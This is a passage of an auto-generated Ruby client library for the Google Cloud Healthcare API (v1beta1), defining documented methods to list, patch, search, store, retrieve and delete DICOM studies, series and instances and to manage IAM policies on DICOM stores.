# @yieldparam result [Google::Apis::HealthcareV1beta1::ListDicomStoresResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::ListDicomStoresResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def list_project_location_dataset_dicom_stores(parent, filter: nil, page_size: nil, page_token: nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+parent}/dicomStores', options)
command.response_representation = Google::Apis::HealthcareV1beta1::ListDicomStoresResponse::Representation
command.response_class = Google::Apis::HealthcareV1beta1::ListDicomStoresResponse
command.params['parent'] = parent unless parent.nil?
command.query['filter'] = filter unless filter.nil?
command.query['pageSize'] = page_size unless page_size.nil?
command.query['pageToken'] = page_token unless page_token.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Updates the specified DICOM store.
# @param [String] name
# Output only. Resource name of the DICOM store, of the form
# `projects/`project_id`/locations/`location_id`/datasets/`dataset_id`/
# dicomStores/`dicom_store_id``.
# @param [Google::Apis::HealthcareV1beta1::DicomStore] dicom_store_object
# @param [String] update_mask
# The update mask applies to the resource. For the `FieldMask` definition,
# see
# https://developers.google.com/protocol-buffers/docs/reference/google.protobuf#
# fieldmask
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::DicomStore] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::DicomStore]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def patch_project_location_dataset_dicom_store(name, dicom_store_object = nil, update_mask: nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:patch, 'v1beta1/{+name}', options)
command.request_representation = Google::Apis::HealthcareV1beta1::DicomStore::Representation
command.request_object = dicom_store_object
command.response_representation = Google::Apis::HealthcareV1beta1::DicomStore::Representation
command.response_class = Google::Apis::HealthcareV1beta1::DicomStore
command.params['name'] = name unless name.nil?
command.query['updateMask'] = update_mask unless update_mask.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# SearchForInstances returns a list of matching instances. See
# http://dicom.nema.org/medical/dicom/current/output/html/part18.html#sect_10.6.
# @param [String] parent
# The name of the DICOM store that is being accessed. For example,
# `projects/`project_id`/locations/`location_id`/datasets/`dataset_id`/
# dicomStores/`dicom_store_id``.
# @param [String] dicom_web_path
# The path of the SearchForInstancesRequest DICOMweb request. For example,
# `instances`, `series/`series_uid`/instances`, or
# `studies/`study_uid`/instances`.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::HttpBody] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::HttpBody]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def search_project_location_dataset_dicom_store_for_instances(parent, dicom_web_path, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+parent}/dicomWeb/{+dicomWebPath}', options)
command.response_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.response_class = Google::Apis::HealthcareV1beta1::HttpBody
command.params['parent'] = parent unless parent.nil?
command.params['dicomWebPath'] = dicom_web_path unless dicom_web_path.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# SearchForSeries returns a list of matching series. See
# http://dicom.nema.org/medical/dicom/current/output/html/part18.html#sect_10.6.
# @param [String] parent
# The name of the DICOM store that is being accessed. For example,
# `projects/`project_id`/locations/`location_id`/datasets/`dataset_id`/
# dicomStores/`dicom_store_id``.
# @param [String] dicom_web_path
# The path of the SearchForSeries DICOMweb request. For example, `series` or
# `studies/`study_uid`/series`.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::HttpBody] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::HttpBody]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def search_project_location_dataset_dicom_store_for_series(parent, dicom_web_path, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+parent}/dicomWeb/{+dicomWebPath}', options)
command.response_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.response_class = Google::Apis::HealthcareV1beta1::HttpBody
command.params['parent'] = parent unless parent.nil?
command.params['dicomWebPath'] = dicom_web_path unless dicom_web_path.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# SearchForStudies returns a list of matching studies. See
# http://dicom.nema.org/medical/dicom/current/output/html/part18.html#sect_10.6.
# @param [String] parent
# The name of the DICOM store that is being accessed. For example,
# `projects/`project_id`/locations/`location_id`/datasets/`dataset_id`/
# dicomStores/`dicom_store_id``.
# @param [String] dicom_web_path
# The path of the SearchForStudies DICOMweb request. For example, `studies`.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::HttpBody] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::HttpBody]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def search_project_location_dataset_dicom_store_for_studies(parent, dicom_web_path, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+parent}/dicomWeb/{+dicomWebPath}', options)
command.response_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.response_class = Google::Apis::HealthcareV1beta1::HttpBody
command.params['parent'] = parent unless parent.nil?
command.params['dicomWebPath'] = dicom_web_path unless dicom_web_path.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Sets the access control policy on the specified resource. Replaces any
# existing policy.
# Can return Public Errors: NOT_FOUND, INVALID_ARGUMENT and PERMISSION_DENIED
# @param [String] resource
# REQUIRED: The resource for which the policy is being specified.
# See the operation documentation for the appropriate value for this field.
# @param [Google::Apis::HealthcareV1beta1::SetIamPolicyRequest] set_iam_policy_request_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::Policy] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::Policy]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def set_dicom_store_iam_policy(resource, set_iam_policy_request_object = nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1beta1/{+resource}:setIamPolicy', options)
command.request_representation = Google::Apis::HealthcareV1beta1::SetIamPolicyRequest::Representation
command.request_object = set_iam_policy_request_object
command.response_representation = Google::Apis::HealthcareV1beta1::Policy::Representation
command.response_class = Google::Apis::HealthcareV1beta1::Policy
command.params['resource'] = resource unless resource.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# StoreInstances stores DICOM instances associated with study instance unique
# identifiers (SUID). See
# http://dicom.nema.org/medical/dicom/current/output/html/part18.html#sect_10.5.
# @param [String] parent
# The name of the DICOM store that is being accessed. For example,
# `projects/`project_id`/locations/`location_id`/datasets/`dataset_id`/
# dicomStores/`dicom_store_id``.
# @param [String] dicom_web_path
# The path of the StoreInstances DICOMweb request. For example,
# `studies/[`study_uid`]`. Note that the `study_uid` is optional.
# @param [Google::Apis::HealthcareV1beta1::HttpBody] http_body_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::HttpBody] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::HttpBody]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def store_project_location_dataset_dicom_store_instances(parent, dicom_web_path, http_body_object = nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1beta1/{+parent}/dicomWeb/{+dicomWebPath}', options)
command.request_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.request_object = http_body_object
command.response_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.response_class = Google::Apis::HealthcareV1beta1::HttpBody
command.params['parent'] = parent unless parent.nil?
command.params['dicomWebPath'] = dicom_web_path unless dicom_web_path.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Returns permissions that a caller has on the specified resource.
# If the resource does not exist, this will return an empty set of
# permissions, not a NOT_FOUND error.
# Note: This operation is designed to be used for building permission-aware
# UIs and command-line tools, not for authorization checking. This operation
# may "fail open" without warning.
# @param [String] resource
# REQUIRED: The resource for which the policy detail is being requested.
# See the operation documentation for the appropriate value for this field.
# @param [Google::Apis::HealthcareV1beta1::TestIamPermissionsRequest] test_iam_permissions_request_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::TestIamPermissionsResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::TestIamPermissionsResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def test_dicom_store_iam_permissions(resource, test_iam_permissions_request_object = nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1beta1/{+resource}:testIamPermissions', options)
command.request_representation = Google::Apis::HealthcareV1beta1::TestIamPermissionsRequest::Representation
command.request_object = test_iam_permissions_request_object
command.response_representation = Google::Apis::HealthcareV1beta1::TestIamPermissionsResponse::Representation
command.response_class = Google::Apis::HealthcareV1beta1::TestIamPermissionsResponse
command.params['resource'] = resource unless resource.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# DeleteStudy deletes all instances within the given study. Delete requests
# are equivalent to the GET requests specified in the WADO-RS standard.
# @param [String] parent
# @param [String] dicom_web_path
# The path of the DeleteStudy request. For example, `studies/`study_uid``.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::Empty] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::Empty]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def delete_project_location_dataset_dicom_store_study(parent, dicom_web_path, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:delete, 'v1beta1/{+parent}/dicomWeb/{+dicomWebPath}', options)
command.response_representation = Google::Apis::HealthcareV1beta1::Empty::Representation
command.response_class = Google::Apis::HealthcareV1beta1::Empty
command.params['parent'] = parent unless parent.nil?
command.params['dicomWebPath'] = dicom_web_path unless dicom_web_path.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# RetrieveStudyMetadata returns instance associated with the given study
# presented as metadata with the bulk data removed. See
# http://dicom.nema.org/medical/dicom/current/output/html/part18.html#sect_10.4.
# @param [String] parent
# The name of the DICOM store that is being accessed. For example,
# `projects/`project_id`/locations/`location_id`/datasets/`dataset_id`/
# dicomStores/`dicom_store_id``.
# @param [String] dicom_web_path
# The path of the RetrieveStudyMetadata DICOMweb request. For example,
# `studies/`study_uid`/metadata`.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::HttpBody] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::HttpBody]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def retrieve_project_location_dataset_dicom_store_study_metadata(parent, dicom_web_path, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+parent}/dicomWeb/{+dicomWebPath}', options)
command.response_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.response_class = Google::Apis::HealthcareV1beta1::HttpBody
command.params['parent'] = parent unless parent.nil?
command.params['dicomWebPath'] = dicom_web_path unless dicom_web_path.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# RetrieveStudy returns all instances within the given study. See
# http://dicom.nema.org/medical/dicom/current/output/html/part18.html#sect_10.4.
# @param [String] parent
# The name of the DICOM store that is being accessed. For example,
# `projects/`project_id`/locations/`location_id`/datasets/`dataset_id`/
# dicomStores/`dicom_store_id``.
# @param [String] dicom_web_path
# The path of the RetrieveStudy DICOMweb request. For example,
# `studies/`study_uid``.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::HttpBody] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::HttpBody]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def retrieve_project_location_dataset_dicom_store_study_study(parent, dicom_web_path, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+parent}/dicomWeb/{+dicomWebPath}', options)
command.response_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.response_class = Google::Apis::HealthcareV1beta1::HttpBody
command.params['parent'] = parent unless parent.nil?
command.params['dicomWebPath'] = dicom_web_path unless dicom_web_path.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# SearchForInstances returns a list of matching instances. See
# http://dicom.nema.org/medical/dicom/current/output/html/part18.html#sect_10.6.
# @param [String] parent
# The name of the DICOM store that is being accessed. For example,
# `projects/`project_id`/locations/`location_id`/datasets/`dataset_id`/
# dicomStores/`dicom_store_id``.
# @param [String] dicom_web_path
# The path of the SearchForInstancesRequest DICOMweb request. For example,
# `instances`, `series/`series_uid`/instances`, or
# `studies/`study_uid`/instances`.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::HttpBody] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::HttpBody]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def search_project_location_dataset_dicom_store_study_for_instances(parent, dicom_web_path, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+parent}/dicomWeb/{+dicomWebPath}', options)
command.response_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.response_class = Google::Apis::HealthcareV1beta1::HttpBody
command.params['parent'] = parent unless parent.nil?
command.params['dicomWebPath'] = dicom_web_path unless dicom_web_path.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# SearchForSeries returns a list of matching series. See
# http://dicom.nema.org/medical/dicom/current/output/html/part18.html#sect_10.6.
# @param [String] parent
# The name of the DICOM store that is being accessed. For example,
# `projects/`project_id`/locations/`location_id`/datasets/`dataset_id`/
# dicomStores/`dicom_store_id``.
# @param [String] dicom_web_path
# The path of the SearchForSeries DICOMweb request. For example, `series` or
# `studies/`study_uid`/series`.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::HttpBody] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::HttpBody]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def search_project_location_dataset_dicom_store_study_for_series(parent, dicom_web_path, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+parent}/dicomWeb/{+dicomWebPath}', options)
command.response_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.response_class = Google::Apis::HealthcareV1beta1::HttpBody
command.params['parent'] = parent unless parent.nil?
command.params['dicomWebPath'] = dicom_web_path unless dicom_web_path.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# StoreInstances stores DICOM instances associated with study instance unique
# identifiers (SUID). See
# http://dicom.nema.org/medical/dicom/current/output/html/part18.html#sect_10.5.
# @param [String] parent
# The name of the DICOM store that is being accessed. For example,
# `projects/`project_id`/locations/`location_id`/datasets/`dataset_id`/
# dicomStores/`dicom_store_id``.
# @param [String] dicom_web_path
# The path of the StoreInstances DICOMweb request. For example,
# `studies/[`study_uid`]`. Note that the `study_uid` is optional.
# @param [Google::Apis::HealthcareV1beta1::HttpBody] http_body_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::HttpBody] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::HttpBody]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def store_project_location_dataset_dicom_store_study_instances(parent, dicom_web_path, http_body_object = nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1beta1/{+parent}/dicomWeb/{+dicomWebPath}', options)
command.request_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.request_object = http_body_object
command.response_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.response_class = Google::Apis::HealthcareV1beta1::HttpBody
command.params['parent'] = parent unless parent.nil?
command.params['dicomWebPath'] = dicom_web_path unless dicom_web_path.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# DeleteSeries deletes all instances within the given study and series.
# Delete requests are equivalent to the GET requests specified in the WADO-RS
# standard.
# @param [String] parent
# The name of the DICOM store that is being accessed. For example,
# `projects/`project_id`/locations/`location_id`/datasets/`dataset_id`/
# dicomStores/`dicom_store_id``.
# @param [String] dicom_web_path
# The path of the DeleteSeries request. For example,
# `studies/`study_uid`/series/`series_uid``.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::Empty] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::Empty]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def delete_project_location_dataset_dicom_store_study_series(parent, dicom_web_path, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:delete, 'v1beta1/{+parent}/dicomWeb/{+dicomWebPath}', options)
command.response_representation = Google::Apis::HealthcareV1beta1::Empty::Representation
command.response_class = Google::Apis::HealthcareV1beta1::Empty
command.params['parent'] = parent unless parent.nil?
command.params['dicomWebPath'] = dicom_web_path unless dicom_web_path.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# RetrieveSeriesMetadata returns instance associated with the given study and
# series, presented as metadata with the bulk data removed. See
# http://dicom.nema.org/medical/dicom/current/output/html/part18.html#sect_10.4.
# @param [String] parent
# The name of the DICOM store that is being accessed. For example,
# `projects/`project_id`/locations/`location_id`/datasets/`dataset_id`/
# dicomStores/`dicom_store_id``.
# @param [String] dicom_web_path
# The path of the RetrieveSeriesMetadata DICOMweb request. For example,
# `studies/`study_uid`/series/`series_uid`/metadata`.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::HttpBody] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::HttpBody]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def retrieve_project_location_dataset_dicom_store_study_series_metadata(parent, dicom_web_path, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+parent}/dicomWeb/{+dicomWebPath}', options)
command.response_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.response_class = Google::Apis::HealthcareV1beta1::HttpBody
command.params['parent'] = parent unless parent.nil?
command.params['dicomWebPath'] = dicom_web_path unless dicom_web_path.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# RetrieveSeries returns all instances within the given study and series. See
# http://dicom.nema.org/medical/dicom/current/output/html/part18.html#sect_10.4.
# @param [String] parent
# The name of the DICOM store that is being accessed. For example,
# `projects/`project_id`/locations/`location_id`/datasets/`dataset_id`/
# dicomStores/`dicom_store_id``.
# @param [String] dicom_web_path
# The path of the RetrieveSeries DICOMweb request. For example,
# `studies/`study_uid`/series/`series_uid``.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::HttpBody] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::HttpBody]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def retrieve_project_location_dataset_dicom_store_study_series_series(parent, dicom_web_path, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+parent}/dicomWeb/{+dicomWebPath}', options)
command.response_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.response_class = Google::Apis::HealthcareV1beta1::HttpBody
command.params['parent'] = parent unless parent.nil?
command.params['dicomWebPath'] = dicom_web_path unless dicom_web_path.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# SearchForInstances returns a list of matching instances. See
# http://dicom.nema.org/medical/dicom/current/output/html/part18.html#sect_10.6.
# @param [String] parent
# The name of the DICOM store that is being accessed. For example,
# `projects/`project_id`/locations/`location_id`/datasets/`dataset_id`/
# dicomStores/`dicom_store_id``.
# @param [String] dicom_web_path
# The path of the SearchForInstancesRequest DICOMweb request. For example,
# `instances`, `series/`series_uid`/instances`, or
# `studies/`study_uid`/instances`.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::HttpBody] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::HttpBody]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def search_project_location_dataset_dicom_store_study_series_for_instances(parent, dicom_web_path, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+parent}/dicomWeb/{+dicomWebPath}', options)
command.response_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.response_class = Google::Apis::HealthcareV1beta1::HttpBody
command.params['parent'] = parent unless parent.nil?
command.params['dicomWebPath'] = dicom_web_path unless dicom_web_path.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# DeleteInstance deletes an instance associated with the given study, series,
# and SOP Instance UID. Delete requests are equivalent to the GET requests
# specified in the WADO-RS standard.
# @param [String] parent
# The name of the DICOM store that is being accessed. For example,
# `projects/`project_id`/locations/`location_id`/datasets/`dataset_id`/
# dicomStores/`dicom_store_id``.
# @param [String] dicom_web_path
# The path of the DeleteInstance request. For example,
# `studies/`study_uid`/series/`series_uid`/instances/`instance_uid``.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::Empty] parsed result object
